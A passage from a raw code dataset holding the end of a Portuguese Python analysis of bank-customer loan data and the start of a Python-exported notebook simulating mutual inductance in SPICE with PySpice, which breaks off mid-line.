Dessa forma, ser\u00e1 analisado os dois casos separadamente.\n# \n# Primeiramente para analisar se existe de fato uma rela\u00e7\u00e3o, foi feito o teste \n# de chi-quadrado para avaliar a indep\u00eandencia dos casos em que o cliente tem\n# d\u00edvida e tamb\u00e9m tem empr\u00e9stimo.\n\n\n# Seleciona-se dados referente ao empr\u00e9stimo\ncol = 'loan'\nx = df[col].value_counts()\ny = df[col][df['default'] == 'yes'].value_counts()\nz = df[col][df['default'] == 'no'].value_counts()\n\n# Calcula-se o chi-quadrado\nchi, p, = st.chisquare(y, y.sum() * x[y.index] / x.sum())\nprint('Chi-quadrado: {:.2f}'.format(chi))\nprint('P-valor: {:.4f}'.format(p))\n\n\n# Como o P-valor obtido foi aproximadamente 0, temos que os casos s\u00e3o\n# independente. Pode-se ent\u00e3o avaliar a rela\u00e7\u00e3o entre os clientes que possuem\n# d\u00edvida e tamb\u00e9m empr\u00e9stimo.\n\npercent = (y / y.sum())*100\nprint('Possui empr\u00e9stimo: {:.2f}%'.format(percent['yes']))\nprint('N\u00e3o possui empr\u00e9stimo: {:.2f}%'.format(percent['no']))\n\nz = df['default'][df[col] == 'yes'].value_counts()\npercent_d = (z / z.sum())*100\nprint('Possui empr\u00e9stimo e tem d\u00edvida: {:.2f}%'.format(percent_d['yes']))\n\n\n# Observa-se que cerca de 37% dos clientes que possuem d\u00edvida tamb\u00e9m possuem \n# empr\u00e9stimo. Contudo, apenas aproximadamente 4% dos clientes que possuem\n# empr\u00e9stimo tem d\u00edvida. Portanto, a d\u00edvida n\u00e3o \u00e9 um fator determinante. \n# \n# Para analisar o saldo do cliente foi feito um histograma do saldo dos \n# clientes que possuem d\u00edvida e um outro para os que n\u00e3o possuem d\u00edvidas. \n# Os histogramas s\u00e3o apresentados abaixo.\n\n# Seleciona-se dados referente a profiss\u00e3o\ncol = 'balance'\nyes = df[col][df['default'] == 'yes']\nno = df[col][df['default'] == 'no']\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Histograma dos saldos'\nfilename = 'hist_balance.png'\nplt.hist(yes, bins=100, density=True)\nplt.hist(no, bins=100, density=True, alpha=0.5)\nplt.ylim([0, 6e-4])\nplt.xlim([-4057, 20000])\nplt.grid(True, alpha=0.5)\nplt.legend(['Possui', 'N\u00e3o possui'])\nplt.xlabel('Saldo (\u20ac)')\nplt.ylabel('Probabilidade de ocorr\u00eancia (-)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Pode-se observar nos histogramas acima, as distribui\u00e7\u00f5es dos saldos para os\n# casos que possuem e n\u00e3o possuem d\u00edvida s\u00e3o diferentes. Onde no caso dos que\n# possuem d\u00edvida a distribui\u00e7\u00e3o est\u00e1 mais deslocada para e esquerda, saldo\n# negativo, do que os que n\u00e3o possuem, mais deslocada a direita, saldo\n# positivo. Dessa forma tem-se que a mediana das distibui\u00e7\u00f5es s\u00e3o \n# perceptivelmente diferentes. Al\u00e9m disso, de forma geral o saldo dos clientes\n# que n\u00e3o possuem d\u00edvidas s\u00e3o maiores dos que possuem.\n# \n# Como a mediana dos dois casos s\u00e3o sensivelmente diferentes, este pode ser um\n# crit\u00e9rio para se avaliar para exigir ou n\u00e3o um seguro de cr\u00e9dito. Abaixo,\n# avalia-se caso este crit\u00e9rio fosse usado.\n\nprint('Mediana do saldo dos que possuem d\u00edvida: \u20ac{}'.format(yes.median()))\nprint('Mediana do saldo dos que n\u00e3o possuem d\u00edvida: \u20ac{}'.format(no.median()))\n\nlim = no.median()\npercent_y = (np.sum(yes > lim) / yes.shape[0]) * 100\npercent_n = (np.sum(no < lim) / no.shape[0]) * 100\n\ntext_y = 'Percentual dos que possuem d\u00edvida e saldo maior que'\ntext_n = 'Percentual dos que n\u00e3o possuem d\u00edvida e saldo menor que'\nprint(text_y + ' \u20ac{}: {:.2f}%'.format(lim, percent_y))\nprint(text_n + ' \u20ac{}: {:.2f}%'.format(lim, percent_n))\n\n\n# Assim, tem-se que o saldo do cliente \u00e9 um fator determinante para exigir o\n# seguro de cr\u00e9dito.\n\n\nprint('======================================================================')\nprint('=========================== Quest\u00e3o 6 ================================')\nprint('======================================================================')\n# ## Quest\u00e3o 6\n\n# Quest\u00e3o: *Quais s\u00e3o as caracter\u00edsticas mais proeminentes de um cliente que\n#  possua empr\u00e9stimo imobili\u00e1rio?*\n\n# O metodologia para obter essas caracter\u00edsticas \u00e9 semelhante a descrita e\n# utilizada na Quest\u00e3o 5. Ou seja, para n\u00e3o ter que analisar cada dado\n# separadamente, foi utilizado o mesmo *wrapper* da Quest\u00e3o 5, com as mesmas\n# fun\u00e7\u00f5es de avalia\u00e7\u00e3o. Al\u00e9m disso, tamb\u00e9m foi usado teste de chi-quadrado\n# para avaliar para avaliar a indep\u00eandencia dos casos estudados.\n\n# De forma semelhante a Quest\u00e3o 5 foi selecionado apenas os dados pessoais do\n# cliente para se obter uma caracter\u00edstica que independe da campanha atual ou\n# anteior. Assim, obt\u00eam-se duas caracter\u00edsticas utilizando o *wrapper* que\n# ser\u00e3o avaliadas inicialmente.\n\n\n# Seleciona-se os dados dos clientes\nclient_data = [\n    'age',\n    'job',\n    'marital',\n    'education',\n    'default',\n    'balance',\n    'loan',\n]\n\n# Seleciona-se o dado desejado\ntarget_col = ['housing']\n\n# Transforma as vari\u00e1veis do tipo 'string' para 'inteiro'\nX = df[client_data].apply(lambda x: (x.cat.codes if x.dtype.name\n                                     is 'category' else x))\nY = df[target_col].apply(lambda x: (x.cat.codes if x.dtype.name\n                                    is 'category' else x))\n\n# Obt\u00eam-se as duas melhores caracter\u00edsticas de cada  fun\u00e7\u00e3o de avalia\u00e7\u00e3o\nX_f_class = fs.SelectKBest(fs.f_classif, k=1).fit(X, Y[target_col[0]])\nX_mutual = fs.SelectKBest(fs.mutual_info_classif, k=1).fit(X, Y[target_col[0]])\n\nf_class = X.columns.values[X_f_class.get_support()]\nmutual = X.columns.values[X_mutual.get_support()]\n\nprint('ANOVA F-value: {}'.format(f_class[0]))\nprint('Mutual information: {}'.format(mutual[0]))\n\n\n# Cada fun\u00e7\u00e3o de avalia\u00e7\u00e3o resultou em uma caracter\u00edstica distinta que ser\u00e3o\n# analisadas. Fez-se ent\u00e3o o teste de independ\u00eancia chi-quadrado para\n# profiss\u00e3o. Em seguida \u00e9 mostrado em um gr\u00e1fico de barras o percentual de\n# cada profiss\u00e3o que possui e n\u00e3o possui um empr\u00e9stimo imobili\u00e1rio.\n\n\n# Seleciona-se dados referente a profiss\u00e3o\ncol = 'job'\nx = df[col].value_counts()\ny = df[col][df['housing'] == 'yes'].value_counts()\nz = df[col][df['housing'] == 'no'].value_counts()\n\n# Calcula-se o chi-quadrado\nchi, p, = st.chisquare(y, y.sum() * x[y.index] / x.sum())\nprint('Chi-quadrado: {:.2f}'.format(chi))\nprint('P-valor: {:.4f}'.format(p))\n\n# Normaliza-se os dados\ny_norm = (y / x[y.index]).sort_values(ascending=False)\nz_norm = (z / x[z.index])[y_norm.index]\n\ny_norm *= 100\nz_norm *= 100\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Empr\u00e9stimos por profiss\u00e3o'\nfilename = 'bar_chart_housing_job.png'\nplt.bar(y_norm.index, y_norm)\nplt.bar(z_norm.index, z_norm, bottom=y_norm)\nplt.grid(True, alpha=0.5)\nplt.legend(['Possui', 'N\u00e3o possui'])\nplt.xticks(rotation=45, ha='right')\nplt.xlabel('Profiss\u00e3o')\nplt.ylabel('Percentual (%)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Tem-se que o P-valor \u00e9 pr\u00f3ximo de 0, portanto tem-se que os casos s\u00e3o\n# independentes. Como pode-se observar, a profiss\u00e3o que mais faz empr\u00e9stimos\n# imobili\u00e1rios \u00e9 de colarinho azul, seguida de servi\u00e7os e administra\u00e7\u00e3o.\n# Tem-se tamb\u00e9m que aposentados estudantes e empregadas dom\u00e9sticas s\u00e3o os que\n# possuem menor percentual de empr\u00e9stimo imobili\u00e1rio.\n# \n# J\u00e1 para o caso da idade das pessoas foi feito um histograma cumulativo para\n# avaliar quais idades fazem mais empr\u00e9stimo imobili\u00e1rio. Em seguida \u00e9 \n# calculado a m\u00e9dia de idade que possui e n\u00e3o possui empr\u00e9stimo imobili\u00e1rio.\n\n# Seleciona-se dados referente a idade\ncol = 'age'\nx = df[col]\nyes = df[col][df['housing'] == 'yes']\nno = df[col][df['housing'] == 'no']\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Histograma cumulativo'\nfilename = 'hist_cumu_age_housing.png'\nplt.hist(yes, bins=20, density=True, cumulative=True)\nplt.hist(no, bins=20, density=True, cumulative=True)\nplt.grid(True, alpha=0.5)\nplt.legend(['Possui', 'N\u00e3o possui'])\nplt.xlabel('Idade (anos)')\nplt.ylabel('Probabilidade de ocorr\u00eancia (-)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Obt\u00eam-se a idade m\u00e9dia\nprint('Idade m\u00e9dia:')\nprint('* Possui empr\u00e9stimo: {:.2f} anos'.format(yes.mean()))\nprint('* N\u00e3o possui empr\u00e9stimo: {:.2f} anos'.format(no.mean()))\n\n\n# Observa-se no histograma cumulativo acima que pessoas mais jovens tendem a\n# fazer mais empr\u00e9stimo do que pessoas mais velhas, como evidenciado pelo\n# c\u00e1lculo da m\u00e9dia dos dois casos. Al\u00e9m disso, observa-se no histograma cerca\n# de 80% das pessoas que fazem empr\u00e9stimo imobili\u00e1rio t\u00eam idade inferior a 45\n# anos e cerca de 50% das pessoas t\u00eam idade inferior 34 anos.\n# \n# Por fim, foi avaliado tamb\u00e9m uma tercerira caracter\u00edstica, escolaridade, que\n# apresentou uma ligeira diferen\u00e7a entre os casos que possui ou n\u00e3o um \n# empr\u00e9stimo imobili\u00e1rio. Foi feito o mesmo procedimento utilizado no caso da\n# profiss\u00e3o. Os resultados s\u00e3o apresentados abaixo.\n\n\n\n# Seleciona-se dados referente a escolaridade\ncol = 'education'\nx = df[col].value_counts()\ny = df[col][df['housing'] == 'yes'].value_counts()\nz = df[col][df['housing'] == 'no'].value_counts()\n\n# Calcula-se o chi-quadrado\nchi, p, = st.chisquare(y, y.sum() * x[y.index] / x.sum())\nprint('Chi-quadrado: {:.2f}'.format(chi))\nprint('P-valor: {:.4f}'.format(p))\n\n# Normaliza-se os dados\ny_norm = (y / x[y.index]).sort_values(ascending=False)\nz_norm = (z / x[z.index])[y_norm.index]\n\n# Gera-se o gr\u00e1fico\nplt.cla()\ntitle = 'Empr\u00e9stimos por n\u00edvel de escolaridade'\nfilename = 'bar_chart_education_housing.png'\nplt.bar(y_norm.index, y_norm)\nplt.bar(z_norm.index, z_norm, bottom=y_norm)\nplt.grid(True, alpha=0.5)\nplt.legend(['Possui', 'N\u00e3o possui'])\nplt.xticks(rotation=45, ha='right')\nplt.xlabel('N\u00edvel de escolaridade')\nplt.ylabel('Percentual (%)')\nplt.title(title)\nplt.savefig(os.path.join(path_img, filename), bbox_inches='tight')\nplt.close()\nprint('Gr\u00e1fico salvo: {} -> {}'.format(title, filename))\n\n# Tem-se que o P-valor \u00e9 pr\u00f3ximo de 0, portanto tem-se que os casos s\u00e3o \n# independentes. Como pode-se observar no gr\u00e1fico de barras, mais da metade\n# das pessoas que n\u00e3o possuem gradua\u00e7\u00e3o tem empr\u00e9stimo imobili\u00e1rio. Enquanto\n# que cerca de 44% das pessoas com gradua\u00e7\u00e3o possui.\n# \n# Desssa forma, as caracter\u00edsticas mais proeminente de um cliente que possui\n# um empr\u00e9stimo imobili\u00e1rio \u00e9 um cliente que n\u00e3o possui gradua\u00e7\u00e3o tem uma\n# idade inferior a 45 anos e tem uma profiss\u00e3o de colarinho azul.\n", "meta": {"hexsha": "2a869006ad8fc52617a22c826b4dd4deb0876e14", "size": 25074, "ext": "py", "lang": "Python", "max_stars_repo_path": "desafio.py", "max_stars_repo_name": "felipecastrotc/desafio-data-science", "max_stars_repo_head_hexsha": "9ae931494efc925dada0aaf58faecabdb5914018", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "desafio.py", "max_issues_repo_name": "felipecastrotc/desafio-data-science", "max_issues_repo_head_hexsha": "9ae931494efc925dada0aaf58faecabdb5914018", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "desafio.py", "max_forks_repo_name": "felipecastrotc/desafio-data-science", "max_forks_repo_head_hexsha": "9ae931494efc925dada0aaf58faecabdb5914018", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.3125, "max_line_length": 79, "alphanum_fraction": 0.6922708782, "include": true, "reason": "import numpy,import scipy", "num_tokens": 7023, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4225046348141882, "lm_q2_score": 0.12421300997306335, "lm_q1q2_score": 0.05248057241784025}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# TODO:\n# \n# \n# R1: \n# - get in touch with ngspice developers to go over xspice's lcouple & magnetic core\n# - reivew the tcoil more in depth\n# \n# \n# R2:\n# - Get rest of standard transformer done\n# \n\n# In[1]:\n\n\nfrom skidl.pyspice import *\n#can you say cheeky \nimport PySpice as pspice\n#becouse it's written by a kiwi you know\nimport lcapy as kiwi\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport sympy as sym\n\nfrom scipy.signal import zpk2tf as scipy_zpk2tf\n\n\nfrom IPython.display import YouTubeVideo, display\n\nimport traceback\nimport warnings\n\n\n# In[2]:\n\n\n#import dc code from parral folder\nimport sys\nsys.path.insert(1, '../DC_1/')\nfrom DC_1_Codes import get_skidl_spice_ref\n\nfrom AC_2_Codes import *\n\nsym.init_printing()\n\n#notebook specific loading control statements \nget_ipython().run_line_magic('matplotlib', 'inline')\n#tool to log notebook internals\n#https://github.com/jrjohansson/version_information\nget_ipython().run_line_magic('load_ext', 'version_information')\nget_ipython().run_line_magic('version_information', 'skidl, PySpice,lcapy, sympy, numpy, matplotlib, pandas, scipy')\n\n\n# # Mutual Inductance and SPICE\n# \n# For a recollection of the basic theory of self and mutual inductance recall the YT video on the subject below from ALL ABOUT ELECTRONICS. However, let's be clear about this right now; SPICE is not a field simulator. SPICE just does a bit more than your EE 101/102 textbook. Though we will see there are ways to enhance the basic SPICE with XSPICE to implement more advanced magnetic device models. But even with XSPICE, we can still not get to the level of field solvers like Ansys who will do full E&M simulations and then extract the S-parameters and then use that as part of its SPICE incarnation.\n# \n\n# In[3]:\n\n\nYouTubeVideo('hoTInTKij0o', width=500, height=400)\n\n\n# The other thing to recall is that inductors in reference to other inductors are polarized elements and that polarization does have consequences as explained by ALL ABOUT ELECTRONICS in the YT video \"Dot Convention in Magnetically Coupled Circuits\"\n\n# In[4]:\n\n\nYouTubeVideo('sILgO4sQmRs', width=500, height=400)\n\n\n# Where in SPICE as we will see the dot belongs to the first terminal of the inductor. Further, to make SPICE aware of what inductors are coupled to which we use the `K` statement who\u2019s SPICE syntax is\n# \n# ```\n# KXXXXXXX LYYYYYYY LZZZZZZZ value\n# ```\n# \n# Where `KXXXXXXX` is the name of the coupling, `LYYYYYYY` and `LZZZZZZZ` are the two inductors that are being coupled. And finally, value the value of the coefficient of coupling $k$ where $k$ can take on a value from 0 to 1 and is defined as\n# \n# $$k=\\dfrac{M}{\\sqrt{L_Y L_Z}}$$\n# \n# where $M$ is the mutual inductance between the two inductors and $L_Y$ & $L_Z$ are the values of the inductors of the two inductors respectively\n# \n\n# # Series Mutual inductance\n\n# The following is a quick testbench to when testing mutual inductance in SPICE\n\n# In[5]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 3 mutual_tester class\n#class to perform the analysis of the coupled inductors in section 3\n\nclass mutual_tester(ac_ease, ac_representation_tool, eecomplex_plot_templets):\n    \"\"\"\n    Quick class to test mutual inductance \n    \"\"\"\n    \n    def __init__(self, circ, title, start_freq=1@u_Hz, stop_freq=100@u_Hz):\n        \"\"\"\n        Quick class to test mutual inductance \n        \n        Args:\n            circ (pyspice circuit): circuit under test\n            title (str): title for plots\n            start_freq(float; Hertz; 1@u_Hz): the starting freauncy\n            stop_freq(float; Hertz; 100@u_Hz): the ending freauncy\n        \n        Returns:\n            does the ac sim of the circuit, produces the ac values transformed \n            in `self.ac_sim_mag_DF` ect and creates a bode plot of the results\n\n        \"\"\"\n        \n        #do what ac_ease is supposed to do at startup\n        #instainte the simulation from the circuit\n        ac_ease.__init__(self, circ)\n        #setup the simulation parameter with the helper method\n        self.ac_sweep_setup(start_freq, stop_freq, 20, 'decade', True)\n        #do the simulation\n        self.do_ac_sim()\n        \n        \n        #do what ac_representation_tool is supposed to do at startup\n        #and pass in the selfs from `ac_ease`'s ac_resultsNB_DF\n        ac_representation_tool.__init__(self, self.ac_resultsNB_DF)\n        #generate the representations\n        self.make_mag_phase()\n        \n        \n        eecomplex_plot_templets.__init__(self)\n\n\n        fig, ax_bode=plt.subplots(nrows=1, ncols=1) \n\n        self.bode_plot_one_templet(self.ac_sim_mag_DF.index, self.ac_sim_mag_DF['V1_[A][dB]'], self.ac_sim_phase_DF['V1_[A][deg]'], \n                          title='Source_Current_Draw', ax=ax_bode)\n\n        \n        fig.suptitle(title)\n\n\n# For each of the examples from ALL ABOUT ELECTRONICS here will create the circuit in three ways to see what effect mutual coupling has. The first is with no coupling. The second is invoking the mutual coupling. And the third case implementing the circuit with the theoretical simplification. This is followed by plotting all three cases on top of each other to see the effect of invoking mutual coupling and the theoretical simplification from SPICE\u2019s view. \n\n# ## Series Adding Mutual Inductance from ALL ABOUT ELECTRONICS \"Mutually Coupled Inductors in Series (Derivation / Proof and Examples)\" @~ 6:04min\n\n# In[6]:\n\n\nYouTubeVideo('49OL_3L7BFA', width=500, height=400, start=364)\n\n\n# ### No Coupling\n\n# In[7]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=3@u_H)\nl2=L(value=3@u_H)\nnet_in & l1[1, 2] & l2[1, 2] & gnd\n\n#k=K(ind1=l1, ind2=l2, coupling=0.5)\n\n\ncirc_nok=generate_netlist()\nprint(circ_nok)\n\n\n# In[8]:\n\n\nanylsis_nok=mutual_tester(circ_nok, 'No Coupling')\n\n\n# ### With Coupling\n\n# In[9]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=3@u_H)\nl2=L(value=3@u_H)\nnet_in & l1[1, 2] & l2[1, 2] & gnd\n\nk=K(ind1=l1, ind2=l2, coupling=0.5)\n\n\ncirc_k=generate_netlist()\nprint(circ_k)\n\n\n# In[10]:\n\n\nanylsis_k=mutual_tester(circ_k, 'With Coupling')\n\n\n# ### Equivlint Single Inductor\n\n# In[11]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=9@u_H)\nnet_in & l1[1, 2] & gnd\n\n\n\ncirc_eq=generate_netlist()\nprint(circ_eq)\n\n\n# In[12]:\n\n\nanylsis_eq=mutual_tester(circ_eq, 'Equivalent')\n\n\n# ### Comperion between all three cases\n\n# In[13]:\n\n\ncomp_plot=eecomplex_plot_templets()\nfig, [ax_mag, ax_phase]=plt.subplots(ncols=1, nrows=2)\ncomp_plot.bode_plot_two_templet(anylsis_nok.ac_sim_mag_DF.index,\n                               anylsis_nok.ac_sim_mag_DF['V1_[A][dB]'],\n                               anylsis_nok.ac_sim_phase_DF['V1_[A][deg]'],\n                        axs=[ax_mag, ax_phase]\n                               )\nax_mag.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_mag_DF['V1_[A][dB]'], label='mitK')\nax_phase.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_phase_DF['V1_[A][deg]'], label='mitK')\n\n\nax_mag.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_mag_DF['V1_[A][dB]'], alpha=.4, label=\"eq\")\nax_phase.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_phase_DF['V1_[A][deg]'], alpha=.4, label='eq')\n\nax_mag.legend()\nax_phase.legend()\nplt.suptitle('Compersion Bode plots of Serial Inductors')\nplt.tight_layout();\n\n\n# ## Series Opposing Mutual Inductance from ALL ABOUT ELECTRONICS \"Mutually Coupled Inductors in Series (Derivation / Proof and Examples)\" @~ 7:17min\n\n# In[14]:\n\n\nYouTubeVideo('49OL_3L7BFA', width=500, height=400, start=437)\n\n\n# ### No Coupling\n\n# In[15]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nl2=L(value=4@u_H)\nnet_in & l1[1, 2] & l2[2, 1] & gnd\n\n#k=K(ind1=l1, ind2=l2, coupling=0.9)\n\n\ncirc_nok=generate_netlist()\nprint(circ_nok)\n\n\n# In[16]:\n\n\nanylsis_nok=mutual_tester(circ_nok, 'No Coupling')\n\n\n# ### With Coupling\n\n# In[17]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nl2=L(value=4@u_H)\nnet_in & l1[1, 2] & l2[2, 1] & gnd\n\nk=K(ind1=l1, ind2=l2, coupling=0.9)\n\n\ncirc_k=generate_netlist()\nprint(circ_k)\n\n\n# In[18]:\n\n\nanylsis_k=mutual_tester(circ_k, 'With Coupling')\n\n\n# ### Equivalent Single Inductor\n\n# In[19]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1.4@u_H)\nnet_in & l1[1, 2] & gnd\n\n\n\ncirc_eq=generate_netlist()\nprint(circ_eq)\n\n\n# In[20]:\n\n\nanylsis_eq=mutual_tester(circ_eq, 'Equivalent')\n\n\n# ### Compersion between all three cases\n\n# In[21]:\n\n\ncomp_plot=eecomplex_plot_templets()\nfig, [ax_mag, ax_phase]=plt.subplots(ncols=1, nrows=2)\ncomp_plot.bode_plot_two_templet(anylsis_nok.ac_sim_mag_DF.index,\n                               anylsis_nok.ac_sim_mag_DF['V1_[A][dB]'],\n                               anylsis_nok.ac_sim_phase_DF['V1_[A][deg]'],\n                        axs=[ax_mag, ax_phase]\n                               )\nax_mag.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_mag_DF['V1_[A][dB]'], label='mitK')\nax_phase.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_phase_DF['V1_[A][deg]'], label='mitK')\n\n\nax_mag.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_mag_DF['V1_[A][dB]'], alpha=.4, label=\"eq\")\nax_phase.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_phase_DF['V1_[A][deg]'], alpha=.4, label='eq')\n\nax_mag.legend()\nax_phase.legend()\nplt.suptitle('Compersion Bode plots of Anti-Serial Inductors')\nplt.tight_layout();\n\n\n# # Parallel Mutual Inductance\n\n# ## Parallel Adding Mutual Inductance from ALL ABOUT ELECTRONICS \"Mutually Coupled Inductors in Parallel (Derivation / Proof and Examples)\" @~ 13:04min\n\n# In[22]:\n\n\nYouTubeVideo('NacczEJj_iI', width=500, height=400, start=784)\n\n\n# ### No Coupling\n\n# In[23]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nl2=L(value=4@u_H)\nrdummy2=R(ref='dummy', value=0@u_Ohm)\n\nl1[1, 2]+=net_in, gnd\nrdummy2[1, 2]+=l1[1], l2[1]\nl2[2]+=gnd\n\n#k=K(ind1=l1, ind2=l2, coupling=0.5)\n\ncirc_nok=generate_netlist()\nprint(circ_nok)\n\n\n# In[24]:\n\n\nanylsis_nok=mutual_tester(circ_nok, 'No Coupling')\n\n\n# ### With Coupling\n\n# In[25]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nl2=L(value=4@u_H)\nrdummy2=R(ref='dummy', value=0@u_Ohm)\n\nl1[1, 2]+=net_in, gnd\nrdummy2[1, 2]+=l1[1], l2[1]\nl2[2]+=gnd\n\nk=K(ind1=l1, ind2=l2, coupling=0.5)\n\ncirc_k=generate_netlist()\nprint(circ_k)\n\n\n# In[26]:\n\n\nanylsis_k=mutual_tester(circ_k, 'With Coupling')\n\n\n# ### Equivalent Single Inductor\n\n# In[27]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nnet_in & l1[1, 2] & gnd\n\n#k=K(ind1=l1, ind2=l2, coupling=0.5)\n\ncirc_eq=generate_netlist()\nprint(circ_eq)\n\n\n# In[28]:\n\n\nanylsis_eq=mutual_tester(circ_eq, 'Equivalent Parallel Inductors')\n\n\n# ### Compersion between all three cases\n\n# In[29]:\n\n\ncomp_plot=eecomplex_plot_templets()\nfig, [ax_mag, ax_phase]=plt.subplots(ncols=1, nrows=2)\ncomp_plot.bode_plot_two_templet(anylsis_nok.ac_sim_mag_DF.index,\n                               anylsis_nok.ac_sim_mag_DF['V1_[A][dB]'],\n                               anylsis_nok.ac_sim_phase_DF['V1_[A][deg]'],\n                        axs=[ax_mag, ax_phase]\n                               )\nax_mag.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_mag_DF['V1_[A][dB]'], label='mitK')\nax_phase.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_phase_DF['V1_[A][deg]'], label='mitK')\n\n\nax_mag.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_mag_DF['V1_[A][dB]'], alpha=.4, label=\"eq\")\nax_phase.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_phase_DF['V1_[A][deg]'], alpha=.4, label='eq')\n\nax_mag.legend()\nax_phase.legend()\nplt.suptitle('Compersion Bode plots of Parallel Inductors')\nplt.tight_layout();\n\n\n# ## Parallel Opposing Mutual Inductance from ALL ABOUT ELECTRONICS \"Mutually Coupled Inductors in Parallel (Derivation / Proof and Examples)\" @~ 14:25min\n\n# In[30]:\n\n\nYouTubeVideo('NacczEJj_iI', width=500, height=400, start=865)\n\n\n# ### No Coupling\n\n# In[31]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nl2=L(value=4@u_H)\nrdummy2=R(ref='dummy', value=0@u_Ohm)\n\nl1[1, 2]+=net_in, gnd\nrdummy2[1, 2]+=l1[1], l2[2]\nl2[1]+=gnd\n\n#k=K(ind1=l1, ind2=l2, coupling=0.5)\n\ncirc_nok=generate_netlist()\nprint(circ_nok)\n\n\n# In[32]:\n\n\nanylsis_nok=mutual_tester(circ_nok, 'Anti-Parallel Inductor with No Coupling')\n\n\n# ### With Coupling\n\n# In[33]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], 